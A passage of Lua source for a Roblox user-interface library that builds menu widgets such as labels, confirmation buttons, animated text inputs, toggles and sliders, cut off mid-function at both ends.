BaseAddons.__index = Funcs; BaseAddons.__namecall = function(Table, Key, ...) return Funcs[Key](Table, ...); end; end; BaseGroupbox = {}; do local Funcs = {}; local function Z(Groupbox, Layer) return (Groupbox.ContentBaseZIndex or 10) + Layer; end; function Funcs:AddBlank(Size) local Groupbox = self; local Container = Groupbox.Container; Library:Create('Frame', { BackgroundTransparency = 1; Size = UDim2.new(1, 0, 0, Size); ZIndex = Z(Groupbox, 1); Parent = Container; }); end; function Funcs:AddLabel(Text, DoesWrap) local Label = {}; local Groupbox = self; local Container = Groupbox.Container; local TextLabel = Library:CreateLabel({ Size = UDim2.new(1, -4, 0, 15); TextSize = 14; Text = Text; TextWrapped = DoesWrap or false, TextXAlignment = Enum.TextXAlignment.Left; ZIndex = Z(self, 5); Parent = Container; }); if DoesWrap then local Y = select(2, Library:GetTextBounds(Text, Library.Font, 14, Vector2.new(TextLabel.AbsoluteSize.X, math.huge))); TextLabel.Size = UDim2.new(1, -4, 0, Y); else Library:Create('UIListLayout', { Padding = UDim.new(0, 4); FillDirection = Enum.FillDirection.Horizontal; HorizontalAlignment = Enum.HorizontalAlignment.Right; SortOrder = Enum.SortOrder.LayoutOrder; Parent = TextLabel; }); end; Label.TextLabel = TextLabel; Label.Container = Container; function Label:SetText(Text) TextLabel.Text = Text; if DoesWrap then local Y = select(2, Library:GetTextBounds(Text, Library.Font, 14, Vector2.new(TextLabel.AbsoluteSize.X, math.huge))); TextLabel.Size = UDim2.new(1, -4, 0, Y); end; Groupbox:Resize(); end; if (not DoesWrap) then setmetatable(Label, BaseAddons); end; Groupbox:AddBlank(5); Groupbox:Resize(); return Label; end; function Funcs:AddButton(...) local Button = {}; local function ProcessButtonParams(Class, Obj, ...) local Props = select(1, ...); if type(Props) == 'table' then Obj.Text = Props.Text; Obj.Func = Props.Func; Obj.DoubleClick = Props.DoubleClick; Obj.Tooltip = Props.Tooltip; else Obj.Text = select(1, ...); Obj.Func = select(2, ...); end; assert(type(Obj.Func) == 'function', 'AddButton: `Func` callback is missing.'); end; ProcessButtonParams('Button', Button, ...); local Groupbox = self; local Container = Groupbox.Container; local function CreateBaseButton(Button) local Outer = Library:Create('Frame', { BackgroundColor3 = Color3.new(0, 0, 0); BorderColor3 = Color3.new(0, 0, 0); Size = UDim2.new(1, -4, 0, 20); ZIndex = Z(self, 5); }); local Inner = Library:Create('Frame', { BackgroundColor3 = Library.MainColor; BorderColor3 = Library.OutlineColor; BorderMode = Enum.BorderMode.Inset; Size = UDim2.new(1, 0, 1, 0); ZIndex = Z(self, 6); Parent = Outer; }); local Label = Library:CreateLabel({ Size = UDim2.new(1, 0, 1, 0); TextSize = 14; Text = Button.Text; ZIndex = Z(self, 6); Parent = Inner; }); Library:Create('UIGradient', { Color = ColorSequence.new({ ColorSequenceKeypoint.new(0, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1, Color3.fromRGB(212, 212, 212)) }); Rotation = 90; Parent = Inner; }); Library:AddToRegistry(Outer, { BorderColor3 = 'Black'; }); Library:AddToRegistry(Inner, { BackgroundColor3 = 'MainColor'; BorderColor3 = 'OutlineColor'; }); Library:OnHighlight(Outer, Outer, { BorderColor3 = 'AccentColor' }, { BorderColor3 = 'Black' } ); return Outer, Inner, Label; end; local function InitEvents(Button) local function WaitForEvent(event, timeout, validator) local bindable = Instance.new('BindableEvent'); local connection = event:Once(function(...) if type(validator) == 'function' and validator(...) then bindable:Fire(true); else bindable:Fire(false); end; end); task.delay(timeout, function() connection:disconnect(); bindable:Fire(false); end); return bindable.Event:Wait(); end; local function ValidateClick(Input) if Library:MouseIsOverOpenedFrame() then return false; end; return Input.UserInputType == Enum.UserInputType.MouseButton1 or Input.UserInputType == Enum.UserInputType.Touch; end; Button.Outer.InputBegan:Connect(function(Input) if not ValidateClick(Input) then return end; if Button.Locked then return end; if Button.DoubleClick then Library:RemoveFromRegistry(Button.Label); Library:AddToRegistry(Button.Label, { TextColor3 = 'AccentColor' }); Button.Label.TextColor3 = Library.AccentColor; Button.Label.Text = 'Are you sure?'; Button.Locked = true; local clicked = WaitForEvent(Button.Outer.InputBegan, 0.5, ValidateClick); Library:RemoveFromRegistry(Button.Label); Library:AddToRegistry(Button.Label, { TextColor3 = 'FontColor' }); Button.Label.TextColor3 = Library.FontColor; Button.Label.Text = Button.Text; task.defer(rawset, Button, 'Locked', false); if clicked then Library:SafeCallback(Button.Func); end; return end; Library:SafeCallback(Button.Func); end); end; Button.Outer, Button.Inner, Button.Label = CreateBaseButton(Button); Button.Outer.Parent = Container; InitEvents(Button); function Button:AddTooltip(tooltip) if type(tooltip) == 'string' then Library:AddToolTip(tooltip, self.Outer); end; return self; end; function Button:SetText(text) self.Text = text; self.Label.Text = text; return self; end; function Button:AddButton(...) local SubButton = {}; ProcessButtonParams('SubButton', SubButton, ...); self.Outer.Size = UDim2.new(0.5, -2, 0, 20); SubButton.Outer, SubButton.Inner, SubButton.Label = CreateBaseButton(SubButton); SubButton.Outer.Position = UDim2.new(1, 3, 0, 0); SubButton.Outer.Size = UDim2.fromOffset(self.Outer.AbsoluteSize.X - 2, self.Outer.AbsoluteSize.Y); SubButton.Outer.Parent = self.Outer; function SubButton:AddTooltip(tooltip) if type(tooltip) == 'string' then Library:AddToolTip(tooltip, self.Outer); end; return SubButton; end; function SubButton:SetText(text) self.Text = text; self.Label.Text = text; return self; end; if type(SubButton.Tooltip) == 'string' then SubButton:AddTooltip(SubButton.Tooltip); end; InitEvents(SubButton); return SubButton; end; if type(Button.Tooltip) == 'string' then Button:AddTooltip(Button.Tooltip); end; Groupbox:AddBlank(5); Groupbox:Resize(); return Button; end; function Funcs:AddDivider() local Groupbox = self; local Container = self.Container; local Divider = { Type = 'Divider', }; Groupbox:AddBlank(2); local DividerOuter = Library:Create('Frame', { BackgroundColor3 = Color3.new(0, 0, 0); BorderColor3 = Color3.new(0, 0, 0); Size = UDim2.new(1, -4, 0, 5); ZIndex = Z(self, 5); Parent = Container; }); local DividerInner = Library:Create('Frame', { BackgroundColor3 = Library.MainColor; BorderColor3 = Library.OutlineColor; BorderMode = Enum.BorderMode.Inset; Size = UDim2.new(1, 0, 1, 0); ZIndex = Z(self, 6); Parent = DividerOuter; }); Library:AddToRegistry(DividerOuter, { BorderColor3 = 'Black'; }); Library:AddToRegistry(DividerInner, { BackgroundColor3 = 'MainColor'; BorderColor3 = 'OutlineColor'; }); Groupbox:AddBlank(9); Groupbox:Resize(); end; function Funcs:AddInput(Idx, Info) assert(Info.Text, 'AddInput: Missing `Text` string.'); local Textbox = { Value = Info.Default or ''; Numeric = Info.Numeric or false; Finished = Info.Finished or false; Type = 'Input'; Callback = Info.Callback or function(Value) end; }; local Groupbox = self; local Container = Groupbox.Container; if not Info.NoLabel then Library:CreateLabel({ Size = UDim2.new(1, 0, 0, 15); TextSize = 14; Text = Info.Text; TextXAlignment = Enum.TextXAlignment.Left; ZIndex = Z(self, 5); Parent = Container; }); Groupbox:AddBlank(1); end; local TextBoxOuter = Library:Create('Frame', { BackgroundColor3 = Color3.new(0, 0, 0); BorderColor3 = Color3.new(0, 0, 0); Size = UDim2.new(1, -4, 0, 20); ZIndex = Z(self, 5); Parent = Container; }); local TextBoxInner = Library:Create('Frame', { BackgroundColor3 = Library.MainColor; BorderColor3 = Library.OutlineColor; BorderMode = Enum.BorderMode.Inset; Size = UDim2.new(1, 0, 1, 0); ZIndex = Z(self, 6); Parent = TextBoxOuter; }); Library:AddToRegistry(TextBoxInner, { BackgroundColor3 = 'MainColor'; BorderColor3 = 'OutlineColor'; }); Library:OnHighlight(TextBoxOuter, TextBoxOuter, { BorderColor3 = 'AccentColor' }, { BorderColor3 = 'Black' } ); if type(Info.Tooltip) == 'string' then Library:AddToolTip(Info.Tooltip, TextBoxOuter); end; Library:Create('UIGradient', { Color = ColorSequence.new({ ColorSequenceKeypoint.new(0, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1, Color3.fromRGB(212, 212, 212)) }); Rotation = 90; Parent = TextBoxInner; }); local Container = Library:Create('Frame', { BackgroundTransparency = 1; Position = UDim2.new(0, 5, 0, 2); Size = UDim2.new(1, -10, 1, -4); ZIndex = Z(self, 7); Parent = TextBoxInner; }); local Box = Library:Create('TextBox', { BackgroundTransparency = 1; Position = UDim2.fromOffset(0, 0), Size = UDim2.fromScale(5, 1), Font = Library.Font; PlaceholderColor3 = Color3.fromRGB(120, 120, 120); PlaceholderText = Info.Placeholder or ''; Text = Info.Default or ''; TextColor3 = Library.FontColor; TextSize = 14; TextStrokeTransparency = 1; TextTransparency = 1; ClearTextOnFocus = false; TextXAlignment = Enum.TextXAlignment.Left; ZIndex = Z(self, 7); Parent = Container; }); local TextOverlay = Library:CreateLabel({ BackgroundTransparency = 1; Position = UDim2.fromOffset(0, 0), Size = UDim2.fromScale(5, 1), Font = Library.Font; TextColor3 = Library.FontColor; TextSize = 14; TextStrokeTransparency = 0; TextXAlignment = Enum.TextXAlignment.Left; ZIndex = Z(self, 7); Parent = Container; }); Box:GetPropertyChangedSignal('Position'):Connect(function() TextOverlay.Position = Box.Position; end); local CustomCaret = Library:Create('Frame', { BackgroundColor3 = Library.AccentColor; BorderSizePixel = 0; Size = UDim2.new(0, 2, 1, -4); Position = UDim2.fromOffset(2, 2); ZIndex = Z(self, 9); Visible = false; Parent = Container; }); Library:AddToRegistry(CustomCaret, { BackgroundColor3 = 'AccentColor'; }); local CaretBlinkTween; local CaretBlinkConnection; local LastTextLength = #(Info.Default or ''); local TextAnimTween; local function StopCaretBlink() if CaretBlinkTween then CaretBlinkTween:Cancel(); CaretBlinkTween = nil; end; if CaretBlinkConnection then CaretBlinkConnection:Disconnect(); CaretBlinkConnection = nil; end; CustomCaret.BackgroundTransparency = 0; end; local function StartCaretBlink() StopCaretBlink(); CaretBlinkConnection = RunService.RenderStepped:Connect(LPH_NO_VIRTUALIZE(function() if not Box:IsFocused() then StopCaretBlink(); end; end)); local function Blink() if not Box:IsFocused() then return end; CaretBlinkTween = TweenService:Create(CustomCaret, TweenInfo.new(0.45, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut), { BackgroundTransparency = 0.55, }); CaretBlinkTween:Play(); CaretBlinkTween.Completed:Connect(function() if Box:IsFocused() then CaretBlinkTween = TweenService:Create(CustomCaret, TweenInfo.new(0.45, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut), { BackgroundTransparency = 0, }); CaretBlinkTween:Play(); CaretBlinkTween.Completed:Connect(Blink); end; end); end; Blink(); end; local function PlayTextEntryAnimation() if TextAnimTween then TextAnimTween:Cancel(); end; TextOverlay.TextTransparency = 0.45; TextOverlay.Position = UDim2.new(Box.Position.X.Scale, Box.Position.X.Offset, 0, -2); TextAnimTween = TweenService:Create(TextOverlay, TweenInfo.new(0.18, Enum.EasingStyle.Back, Enum.EasingDirection.Out), { TextTransparency = 0, Position = Box.Position, }); TextAnimTween:Play(); end; function Textbox:SetValue(Text) if Info.MaxLength and #Text > Info.MaxLength then Text = Text:sub(1, Info.MaxLength); end; if Textbox.Numeric then if (not tonumber(Text)) and Text:len() > 0 then Text = Textbox.Value; end; end; Textbox.Value = Text; Box.Text = Text; LastTextLength = #Text; Library:SafeCallback(Textbox.Callback, Textbox.Value); Library:SafeCallback(Textbox.Changed, Textbox.Value); end; if Textbox.Finished then Box.FocusLost:Connect(function(enter) Textbox:SetValue(Box.Text); Library:AttemptSave(); end); else Box:GetPropertyChangedSignal('Text'):Connect(function() Textbox:SetValue(Box.Text); Library:AttemptSave(); end); end; local function Update() local PADDING = 2; local reveal = Container.AbsoluteSize.X; if Box.Text == "" then TextOverlay.Text = Box.PlaceholderText; TextOverlay.TextColor3 = Box.PlaceholderColor3; else TextOverlay.Text = Box.Text; TextOverlay.TextColor3 = Library.FontColor; end; if not Box:IsFocused() or Box.TextBounds.X <= reveal - 2 * PADDING then TweenService:Create(Box, TweenInfo.new(0.12, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), { Position = UDim2.new(0, PADDING, 0, 0) }):Play(); else local cursor = Box.CursorPosition; if cursor ~= -1 then local subtext = string.sub(Box.Text, 1, cursor-1); local width = TextService:GetTextSize(subtext, Box.TextSize, Box.Font, Vector2.new(math.huge, math.huge)).X; local currentCursorPos = Box.Position.X.Offset + width; local targetX = Box.Position.X.Offset; if currentCursorPos < PADDING then targetX = PADDING-width; elseif currentCursorPos > reveal - PADDING - 1 then targetX = reveal-width-PADDING-1; end; TweenService:Create(Box, TweenInfo.new(0.12, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), { Position = UDim2.fromOffset(targetX, 0) }):Play(); end; end; if Box:IsFocused() then CustomCaret.Visible = true; local cursor = Box.CursorPosition; if cursor ~= -1 then local subtext = string.sub(Box.Text, 1, cursor-1); local width = TextService:GetTextSize(subtext, Box.TextSize, Box.Font, Vector2.new(math.huge, math.huge)).X; local caretTargetX = Box.Position.X.Offset + width + 1; TweenService:Create(CustomCaret, TweenInfo.new(0.08, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), { Position = UDim2.fromOffset(math.clamp(caretTargetX, PADDING, reveal - PADDING), 2) }):Play(); else CustomCaret.Visible = false; end; else CustomCaret.Visible = false; StopCaretBlink(); end; end; local function OnTextChanged() local newLength = #Box.Text; if Box:IsFocused() and newLength > LastTextLength then PlayTextEntryAnimation(); end; LastTextLength = newLength; Update(); end; task.spawn(Update); Box:GetPropertyChangedSignal('Text'):Connect(OnTextChanged); Box:GetPropertyChangedSignal('CursorPosition'):Connect(Update); Box.FocusLost:Connect(function() StopCaretBlink(); Update(); end); Box.Focused:Connect(function() StartCaretBlink(); Update(); end); Library:AddToRegistry(Box, { TextColor3 = 'FontColor'; }); function Textbox:OnChanged(Func) Textbox.Changed = Func; Func(Textbox.Value); end; Groupbox:AddBlank(5); Groupbox:Resize(); if type(Textbox)=="table" and Textbox.SetVisible==nil then Textbox.SetVisible=function() end end; Options[Idx] = Textbox; return Textbox; end; function Funcs:AddToggle(Idx, Info) assert(Info.Text, 'AddInput: Missing `Text` string.'); local Toggle = { Value = Info.Default or false; Type = 'Toggle'; Callback = Info.Callback or function(Value) end; Addons = {}, Risky = Info.Risky, }; local Groupbox = self; local Container = Groupbox.Container; local ToggleOuter = Library:Create('Frame', { BackgroundColor3 = Color3.new(0, 0, 0); BorderColor3 = Color3.new(0, 0, 0); Size = UDim2.new(0, 13, 0, 13); ZIndex = Z(self, 5); Parent = Container; }); Library:AddToRegistry(ToggleOuter, { BorderColor3 = 'Black'; }); local ToggleInner = Library:Create('Frame', { BackgroundColor3 = Library.MainColor; BorderColor3 = Library.OutlineColor; BorderMode = Enum.BorderMode.Inset; Size = UDim2.new(1, 0, 1, 0); ZIndex = Z(self, 6); Parent = ToggleOuter; }); Library:AddToRegistry(ToggleInner, { BackgroundColor3 = 'MainColor'; BorderColor3 = 'OutlineColor'; }); local ToggleLabel = Library:CreateLabel({ Size = UDim2.new(0, 216, 1, 0); Position = UDim2.new(1, 6, 0, 0); TextSize = 14; Text = Info.Text; TextXAlignment = Enum.TextXAlignment.Left; ZIndex = Z(self, 6); Parent = ToggleInner; }); local function UpdateToggleLabelWidth() local available = Container.AbsoluteSize.X / Library:GetUIScaleFactor(Container) - (ToggleOuter.Size.X.Offset + 6) - 4; ToggleLabel.Size = UDim2.new(0, math.max(available, 60), 1, 0); end; Container:GetPropertyChangedSignal('AbsoluteSize'):Connect(UpdateToggleLabelWidth); task.spawn(UpdateToggleLabelWidth); Library:Create('UIListLayout', { Padding = UDim.new(0, 4); FillDirection = Enum.FillDirection.Horizontal; HorizontalAlignment = Enum.HorizontalAlignment.Right; SortOrder = Enum.SortOrder.LayoutOrder; Parent = ToggleLabel; }); local ToggleRegion = Library:Create('Frame', { BackgroundTransparency = 1; Size = UDim2.new(0, 170, 1, 0); ZIndex = Z(self, 8); Parent = ToggleOuter; }); Library:OnHighlight(ToggleRegion, ToggleOuter, { BorderColor3 = 'AccentColor' }, { BorderColor3 = 'Black' } ); function Toggle:UpdateColors() Toggle:Display(); end; if type(Info.Tooltip) == 'string' then Library:AddToolTip(Info.Tooltip, ToggleRegion); end; function Toggle:Display() if Toggle.BgTween then Toggle.BgTween:Cancel() end; if Toggle.BorderTween then Toggle.BorderTween:Cancel() end; local targetBg = Toggle.Value and Library.AccentColor or Library.MainColor; local targetBorder = Toggle.Value and Library.AccentColorDark or Library.OutlineColor; local tweenInfo = TweenInfo.new(0.12, Enum.EasingStyle.Quad, Enum.EasingDirection.Out); Toggle.BgTween = TweenService:Create(ToggleInner, tweenInfo, { BackgroundColor3 = targetBg }); Toggle.BorderTween = TweenService:Create(ToggleInner, tweenInfo, { BorderColor3 = targetBorder }); Toggle.BgTween:Play(); Toggle.BorderTween:Play(); Library.RegistryMap[ToggleInner].Properties.BackgroundColor3 = Toggle.Value and 'AccentColor' or 'MainColor'; Library.RegistryMap[ToggleInner].Properties.BorderColor3 = Toggle.Value and 'AccentColorDark' or 'OutlineColor'; end; function Toggle:OnChanged(Func) Toggle.Changed = Func; Func(Toggle.Value); end; function Toggle:SetValue(Bool) Bool = (not not Bool); Toggle.Value = Bool; Toggle:Display(); for _, Addon in next, Toggle.Addons do if Addon.Type == 'KeyPicker' and Addon.SyncToggleState then Addon.Toggled = Bool; Addon:Update(); end; end; Library:SafeCallback(Toggle.Callback, Toggle.Value); Library:SafeCallback(Toggle.Changed, Toggle.Value); Library:UpdateDependencyBoxes(); end; ToggleRegion.InputBegan:Connect(function(Input) if IsPrimaryPress(Input) and not Library:MouseIsOverOpenedFrame() then Library:PlayToggleSound(); Toggle:SetValue(not Toggle.Value); Library:AttemptSave(); end; end); if Toggle.Risky then Library:RemoveFromRegistry(ToggleLabel); ToggleLabel.TextColor3 = Library.RiskColor; Library:AddToRegistry(ToggleLabel, { TextColor3 = 'RiskColor' }); end; Toggle:Display(); Groupbox:AddBlank(Info.BlankSize or 5 + 2); Groupbox:Resize(); Toggle.TextLabel = ToggleLabel; Toggle.Container = Container; setmetatable(Toggle, BaseAddons); if type(Toggle)=="table" and Toggle.SetVisible==nil then Toggle.SetVisible=function() end end; Toggles[Idx] = Toggle; Library:UpdateDependencyBoxes(); return Toggle; end; function Funcs:AddSlider(Idx, Info) assert(Info.Default, 'AddSlider: Missing default value.'); assert(Info.Text, 'AddSlider: Missing slider text.'); assert(Info.Min, 'AddSlider: Missing minimum value.'); assert(Info.Max, 'AddSlider: Missing maximum value.'); assert(Info.Rounding, 'AddSlider: Missing rounding value.'); local Slider = { Value = Info.Default; Min = Info.Min; Max = Info.Max; Rounding = math.clamp(Info.Rounding or 0, 0, 3); Type = 'Slider'; Callback = Info.Callback or function(Value) end; }; local Groupbox = self; local Container = Groupbox.Container; if not Info.Compact then Library:CreateLabel({ Size = UDim2.new(1, 0, 0, 10); TextSize = 14; Text = Info.Text; TextXAlignment = Enum.TextXAlignment.Left; TextYAlignment = Enum.TextYAlignment.Bottom; ZIndex = Z(self, 5); Parent = Container; }); Groupbox:AddBlank(3); end; local SliderContainer = Library:Create('Frame', { BackgroundTransparency = 1; Size = UDim2.new(1, -4, 0, 13); ZIndex = Z(self, 5); Parent = Container; }); local DecrementBtn = Library:Create('TextButton', { BackgroundTransparency = 1; Position = UDim2.new(0, 0, 0, -1); Size = UDim2.new(0, 12, 1, 0); Font = Library.Font; Text = "-"; TextColor3 = Library.FontColor; TextSize = 14; TextYAlignment = Enum.TextYAlignment.Center; ZIndex = Z(self, 8); Parent = SliderContainer; }); local IncrementBtn = Library:Create('TextButton', { BackgroundTransparency = 1; Position = UDim2.new(1, -12, 0, -1); Size = UDim2.new(0, 12, 1, 0); Font = Library.Font; Text = "+"; TextColor3 = Library.FontColor; TextSize = 14; TextYAlignment = Enum.TextYAlignment.Center; ZIndex = Z(self, 8); Parent = SliderContainer; }); Library:OnHighlight(DecrementBtn, DecrementBtn, { TextColor3 = 'AccentColor' }, { TextColor3 = 'FontColor' } ); Library:OnHighlight(IncrementBtn, IncrementBtn, { TextColor3 = 'AccentColor' }, { TextColor3 = 'FontColor' } ); local SliderOuter = Library:Create('Frame', { BackgroundColor3 = Color3.new(0, 0, 0); BorderColor3 = Color3.new(0, 0, 0); Position = UDim2.new(0, 16, 0, 0); Size = UDim2.new(1, -32, 0, 13); ZIndex = Z(self, 5); Parent = SliderContainer; }); Library:AddToRegistry(SliderOuter, { BorderColor3 = 'Black'; }); local SliderInner = Library:Create('Frame', { BackgroundColor3 = Library.MainColor; BorderColor3 = Library.OutlineColor; BorderMode = Enum.BorderMode.Inset; Size = UDim2.new(1, 0, 1, 0); ZIndex = Z(self, 6); Parent = SliderOuter; }); function Slider:GetBarWidth() return math.max(SliderInner.AbsoluteSize.X, 1); end; Library:AddToRegistry(SliderInner, { BackgroundColor3 = 'MainColor'; BorderColor3 = 'OutlineColor'; }); local Fill = Library:Create('Frame', { BackgroundColor3 = Library.AccentColor; BorderColor3 = Library.AccentColorDark; Size = UDim2.new(0, 0, 1, 0); ZIndex = Z(self, 7); Parent = SliderInner; }); Library:AddToRegistry(Fill, { BackgroundColor3 = 'AccentColor'; BorderColor3 = 'AccentColorDark'; }); local HideBorderRight = Library:Create('Frame', { BackgroundColor3 = Library.AccentColor; BorderSizePixel = 0; Position = UDim2.new(1, 0, 0, 0); Size = UDim2.new(0, 1, 1, 0); ZIndex = Z(self, 8); Parent = Fill; }); Library:AddToRegistry(HideBorderRight, { BackgroundColor3 = 'AccentColor'; }); local DisplayLabel = Library:CreateLabel({ Size = UDim2.new(1, 0, 1, 0); TextSize = 14; Text = 'Infinite'; ZIndex = Z(self, 9); Parent = SliderInner; }); Library:OnHighlight(SliderOuter, SliderOuter, { BorderColor3 = 'AccentColor' }, { BorderColor3 = 'Black' } ); if type(Info.Tooltip) == 'string' then Library:AddToolTip(Info.Tooltip, SliderOuter); end; function Slider:UpdateColors() Fill.BackgroundColor3 = Library.AccentColor; Fill.BorderColor3 = Library.AccentColorDark; end; function Slider:Display() local Suffix = Info.Suffix or ""; if Info.Compact then DisplayLabel.Text = Info.Text .. ": " .. Slider.Value .. Suffix; elseif Info.HideMax then DisplayLabel.Text = tostring(Slider.Value) .. Suffix; else DisplayLabel.Text = ("%s/%s"):format(Slider.Value .. Suffix, Slider.Max .. Suffix); end; local Width = Slider:GetBarWidth(); local X = math.clamp( math.round( Library:MapValue( Slider.Value, Slider.Min, Slider.Max, 0, Width ) ), 0, Width ); if Slider.Tween then Slider.Tween:Cancel(); end; Slider.Tween = TweenService:Create( Fill, TweenInfo.new(0.12, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), { Size = UDim2.new(0, X, 1, 0) } ); Slider.Tween:Play(); HideBorderRight.Visible = X > 0 and X < Width; end; function Slider:OnChanged(Func) Slider.Changed = Func; Func(Slider.Value); end; local function Round(Value) if Slider.Rounding == 0 then return math.floor(Value + 0.5); end; return tonumber(string.format('%.' .. Slider.Rounding .. 'f', Value)); end; function Slider:GetValueFromXOffset(X) return Round( Library:MapValue( X, 0, Slider:GetBarWidth(), Slider.Min, Slider.Max ) ); end; function Slider:SetValue(Str) local Num = tonumber(Str); if (not Num) then return; end; Num = math.clamp(Num, Slider.Min, Slider.Max); Slider.Value = Round(Num); Slider:Display(); Library:SafeCallback(Slider.Callback, Slider.Value); Library:SafeCallback(Slider.Changed, Slider.Value); end; SliderInner.InputBegan:Connect(function(Input) if IsPrimaryPress(Input) and not Library:MouseIsOverOpenedFrame() then local mPos = GetPointerPosition(Input).X; local gPos = Fill.Size.X.Offset; local Diff = mPos - (Fill.AbsolutePosition.X + gPos); while IsPressActive(Input) do local nMPos = GetPointerPosition(Input).X; local nX = math.clamp(gPos + (nMPos - mPos) + Diff, 0, Slider:GetBarWidth()); local nValue = Slider:GetValueFromXOffset(nX); local OldValue = Slider.Value; Slider.Value = nValue; Slider:Display(); if nValue ~= OldValue then Library:PlaySliderSound(); Library:SafeCallback(Slider.Callback, Slider.Value); Library:SafeCallback(Slider.Changed, Slider.Value); end; RenderStepped:Wait(); end; Library:StopSliderSound(); Library:AttemptSave(); end; end); Library:BindHoldButton(DecrementBtn, function() local step = 10 ^ -Slider.Rounding; local OldValue = Slider.Value; Slider:SetValue(Slider.Value - step); if Slider.Value ~= OldValue then Library:PlaySliderSound(); end; Library:AttemptSave(); end); Library:BindHoldButton(IncrementBtn, function() local step = 10 ^ -Slider.Rounding; local OldValue = Slider.Value; Slider:SetValue(Slider.Value + step); if Slider.Value ~= OldValue then Library:PlaySliderSound(); end; Library:AttemptSave(); end); SliderInner:GetPropertyChangedSignal("AbsoluteSize"):Connect(function() Slider:Display(); end); Slider:Display(); Groupbox:AddBlank(Info.BlankSize or 6); Groupbox:Resize(); if type(Slider)=="table" and Slider.SetVisible==nil then Slider.SetVisible=function() end end; Options[Idx] = Slider; return Slider; end; function Funcs:AddRangeSlider(Idx, Info) assert(Info.DefaultLower, 'AddRangeSlider: Missing default lower value.'); assert(Info.DefaultUpper, 'AddRangeSlider: Missing default upper value.'); assert(Info.Text, 'AddRangeSlider: Missing slider text.'); assert(Info.Min, 'AddRangeSlider: Missing minimum value.'); assert(Info.Max, 'AddRangeSlider: Missing maximum value.'); assert(Info.Rounding, 'AddRangeSlider: Missing rounding value.'); local Slider = { ValueLower = Info.DefaultLower; ValueUpper = Info.DefaultUpper; Min = Info.Min; Max = Info.Max; Rounding = math.clamp(Info.Rounding or 0, 0, 3); MaxSize = 200; Type = 'RangeSlider'; Callback = Info.Callback or function(Lower, Upper) end; }; Slider.Value = { Slider.ValueLower, Slider.ValueUpper }; local Groupbox = self; local Container = Groupbox.Container; if not Info.Compact then Library:CreateLabel({ Size = UDim2.new(1, 0, 0, 10); TextSize = 14; Text = Info.Text; TextXAlignment = Enum.TextXAlignment.Left; TextYAlignment = Enum.TextYAlignment.Bottom; ZIndex = Z(self, 5); Parent = Container; }); Groupbox:AddBlank(3); end; local SliderContainer = Library:Create('Frame', { BackgroundTransparency = 1; Size = UDim2.new(1, -4, 0, 13); ZIndex = Z(self, 5); Parent = Container; }); local SliderOuter = Library:Create('Frame', { BackgroundColor3 = Color3.new(0, 0, 0); BorderColor3 = Color3.new(0, 0, 0); Position = UDim2.new(0, 4, 0, 0); Size = UDim2.new(1, -8, 0, 13); ZIndex = Z(self, 5); Parent = SliderContainer; }); Library:AddToRegistry(SliderOuter, { BorderColor3 = 'Black'; }); local SliderInner = Library:Create('Frame', { BackgroundColor3 = Library.MainColor; BorderColor3 = Library.OutlineColor; BorderMode = Enum.BorderMode.Inset; Size = UDim2.new(1, 0, 1, 0); ZIndex = Z(self, 6); Parent = SliderOuter; }); Library:AddToRegistry(SliderInner, { BackgroundColor3 = 'MainColor'; BorderColor3 = 'OutlineColor'; }); local Fill = Library:Create('Frame', { BackgroundColor3 = Library.AccentColor; BorderSizePixel = 0; ZIndex = Z(self, 7); Parent = SliderInner; }); Library:AddToRegistry(Fill, { BackgroundColor3 = 'AccentColor'; }); local HeadLower = Library:Create('Frame', { BackgroundColor3 = Color3.fromRGB(200, 200, 200); BorderColor3 = Color3.fromRGB(0, 0, 0); Size = UDim2.new(0, 3, 1, 2); Position = UDim2.new(0, 0, 0, -1); ZIndex = Z(self, 8); Parent = SliderInner; }); local HeadUpper = Library:Create('Frame', { BackgroundColor3 = Color3.fromRGB(200, 200, 200); BorderColor3 = Color3.fromRGB(0, 0, 0); Size = UDim2.new(0, 3, 1, 2); Position = UDim2.new(0, 0, 0, -1); ZIndex = Z(self, 8); Parent = SliderInner; }); local DisplayLabel = Library:CreateLabel({ Size = UDim2.new(1, 0, 1, 0); TextSize = 14; ZIndex = Z(self, 9); Parent = SliderInner; }); Library:OnHighlight(SliderOuter, SliderOuter, { BorderColor3 = 'AccentColor' }, { BorderColor3 = 'Black' } ); if type(Info.Tooltip) == 'string' then Library:AddToolTip(Info.Tooltip, SliderOuter); end; local function Round(Value) if Slider.Rounding == 0 then return math.floor(Value + 0.5); end; return tonumber(string.format('%.' .. Slider.Rounding .. 'f', Value)); end; function Slider:Display() local Suffix = Info.Suffix or ''; DisplayLabel.Text = string.format('%s%s - %s%s', tostring(Slider.ValueLower), Suffix, tostring(Slider.ValueUpper), Suffix); local barWidth = SliderInner.AbsoluteSize.X > 0 and SliderInner.AbsoluteSize.X or 222; local xLower = Library:MapValue(Slider.ValueLower, Slider.Min, Slider.Max, 0, barWidth); local xUpper = Library:MapValue(Slider.ValueUpper, Slider.Min, Slider.Max, 0, barWidth); if Slider.TweenFill then Slider.TweenFill:Cancel() end; if Slider.TweenHeadLower then Slider.TweenHeadLower:Cancel() end; if Slider.TweenHeadUpper then Slider.TweenHeadUpper:Cancel() end; local tInfo = TweenInfo.new(0.12, Enum.EasingStyle.Quad, Enum.EasingDirection.Out); Slider.TweenFill = TweenService:Create(Fill, tInfo, { Position = UDim2.new(0, xLower, 0, 0), Size = UDim2.new(0, xUpper - xLower, 1, 0) }); Slider.TweenHeadLower = TweenService:Create(HeadLower, tInfo, { Position = UDim2.new(0, xLower - 1, 0, -1) }); Slider.TweenHeadUpper = TweenService:Create(HeadUpper, tInfo, { Position = UDim2.new(0, xUpper - 1, 0, -1) }); Slider.TweenFill:Play(); Slider.TweenHeadLower:Play(); Slider.TweenHeadUpper:Play(); end; function Slider:UpdateColors() Fill.BackgroundColor3 = Library.AccentColor; end; function Slider:OnChanged(Func) Slider.Changed = Func; Func(Slider.ValueLower, Slider.ValueUpper); end; function Slider:GetValueFromXOffset(X) local barWidth = SliderInner.AbsoluteSize.X > 0 and SliderInner.AbsoluteSize.X or 222; return Round(Library:MapValue(X, 0, barWidth, Slider.Min, Slider.Max)); end; function Slider:SetValue(Lower, Upper) local numLower = tonumber(Lower) or Slider.ValueLower; local numUpper = 